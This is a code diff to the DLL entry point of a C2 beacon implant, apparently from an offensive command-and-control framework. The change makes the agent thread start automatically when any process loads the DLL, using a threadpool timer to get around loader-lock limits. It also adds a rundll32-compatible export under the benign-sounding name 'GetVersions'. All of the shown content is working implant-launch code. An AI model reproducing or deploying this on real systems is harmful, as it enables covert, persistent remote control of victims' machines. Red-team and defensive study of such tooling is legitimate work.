diff --git a/Extenders/agent_beacon/src_beacon/beacon/main.cpp b/Extenders/agent_beacon/src_beacon/beacon/main.cpp index e2b1a0de..315a9aba 100644 --- a/Extenders/agent_beacon/src_beacon/beacon/main.cpp +++ b/Extenders/agent_beacon/src_beacon/beacon/main.cpp @@ -70,20 +70,91 @@ int main() #elif defined(BUILD_DLL) -extern "C" __declspec(dllexport) void GetVersions() +// Global synchronization primitives +static volatile LONG g_AgentInitialized = FALSE; +static volatile LONG g_LockInitialized = FALSE; +static CRITICAL_SECTION g_InitLock; + +// Initialize critical section during DLL load +void InitializeSynchronization() { - HANDLE hThread = CreateThread(NULL, 0, AgentMain, NULL, 0, NULL); - if (hThread) - CloseHandle(hThread); + if (InterlockedCompareExchange(&g_LockInitialized, TRUE, FALSE) == FALSE) + { + InitializeCriticalSection(&g_InitLock); + } +} + +// Internal function to run agent with proper synchronization +void run() +{ + // Initialize synchronization if needed + InitializeSynchronization(); + + // Attempt to acquire initialization ownership + if (InterlockedCompareExchange(&g_AgentInitialized, TRUE, FALSE) == FALSE) + { + // Create agent thread without blocking + HANDLE hThread = CreateThread(NULL, 0, AgentMain, NULL, 0, NULL); + if (hThread) + { + // Detach thread for asynchronous execution + CloseHandle(hThread); + } + else + { + // Reset flag on failure to allow retry + InterlockedExchange(&g_AgentInitialized, FALSE); + } + } +} + +extern "C" __declspec(dllexport) void CALLBACK GetVersions(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow) +{ + // Mark as directly called to prevent automatic execution + InitializeSynchronization(); + + if (InterlockedCompareExchange(&g_AgentInitialized, TRUE, FALSE) == FALSE) + { + HANDLE hThread = CreateThread(NULL, 0, AgentMain, NULL, 0, NULL); + if (hThread) + { + // Wait for thread completion when called directly + WaitForSingleObject(hThread, INFINITE); + CloseHandle(hThread); + } + } +} + +VOID CALLBACK InitializationCallback(PTP_CALLBACK_INSTANCE Instance, PVOID Context, PTP_TIMER Timer) +{ + // Execute initialization without loader lock constraints + CloseThreadpoolTimer(Timer); + run(); } BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: - GetVersions(); + { + // Initialize synchronization on first load + InitializeSynchronization(); + + // Create scope block to contain variable declarations + PTP_TIMER timer = CreateThreadpoolTimer(InitializationCallback, NULL, NULL); + if (timer) + { + FILETIME dueTime = {0}; + SetThreadpoolTimer(timer, &dueTime, 0, 0); + } break; + } case DLL_PROCESS_DETACH: + // Cleanup if loader allows + if (!lpReserved && g_LockInitialized) + { + DeleteCriticalSection(&g_InitLock); + } break; case DLL_THREAD_ATTACH: break;